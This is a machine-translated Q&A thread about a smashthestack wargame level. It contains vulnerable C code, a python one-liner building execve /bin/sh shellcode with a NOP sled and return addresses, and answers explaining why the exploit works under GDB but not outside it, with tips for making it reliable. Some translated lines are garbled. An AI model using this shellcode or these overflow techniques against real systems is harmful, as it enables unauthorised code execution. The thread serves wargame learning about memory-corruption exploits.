我有来自smashthestack的代码:
//bla, based on work by nnp
#include <stdio.h>
#include <string.h>
void prompt_name(char *name, char *msg){
char buf[4096];
int i = 0;
puts(msg);
i = read(0, buf, sizeof buf);
printf("Read %d bytes\n", i);
*strchr(buf, '\n') = 0;
strncpy(name, buf, 20);
}
void prompt_full_name(char *fullname) {
char last[20];
char first[20];
prompt_name(first, "Please enter your first name: ");
prompt_name(last, "Please enter your last name: ");
strcpy(fullname, first);
strcat(fullname, " ");
strcat(fullname, last);
}
int main(int argc, char **argv){
char fullname[42];
prompt_full_name(fullname);
printf("Welcome, %s\n", fullname);
return 0;
}
我使用此shellcode执行此程序:
python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 2009 + "\x90" * 2065 + "\n" + "\x80\xec\x02\xf4\xff\xbf\x03\xf4\xff\xbf\x04\xd4\xff\xbf\xa6\xfc\xff\xbf\xff" + "\n"' > /tmp/in
在GDB run < /tmp/in
中,它正常工作:
(gdb)运行&lt;的/ tmp / wliao_in
Starting program: /levels/level06 < /tmp/wliao_in
Please enter your first name:
Please enter your last name:
Welcome, j
X�Rh//shh/bin��1�̀��������������� ����������������
Executing new program: /bin/bash
但实际上,它不是:
level6@io:/levels$ cat /tmp/in | ./level06
Please enter your first name:
Please enter your last name:
Welcome, j
X�Rh//shh/bin��1�̀��������������� ����������������
Illegal instruction
我不明白两者之间有什么不同?
答案 0 :(得分:1)
在GDB内外运行时会出现很多问题。
首先,环境会发生变化,如此差异所示。添加和删除环境变量会更改堆栈上方所有内容的地址。
< _=./envp2
---
> COLUMNS=91
8a9
> LINES=39
20a22
> _=/usr/bin/gdb
其次,execve路径影响堆栈布局(您使用“./level06”,但GDB使用绝对路径“/ levels / level06”)。这可能出现在argv [1]和堆栈的底部(我不知道为什么,但Linux会这样做。)
自从我做了那个级别以来已经很长时间了,但是我会尝试将shellcode放在命令行参数中(所以没有大小限制),带有大量的NOP底座(因此堆栈地址更改不会对你的漏洞是否有效有所帮助。)
答案 1 :(得分:0)
prompt_name
不会产生name
被\0
字符终止。在gdb中运行的区别在于gdb内存和堆栈管理可能是不同的是,在这种情况下,两个字符串可能会被\0
意外终止。
如果名称小于20个字符,我可以正常使用。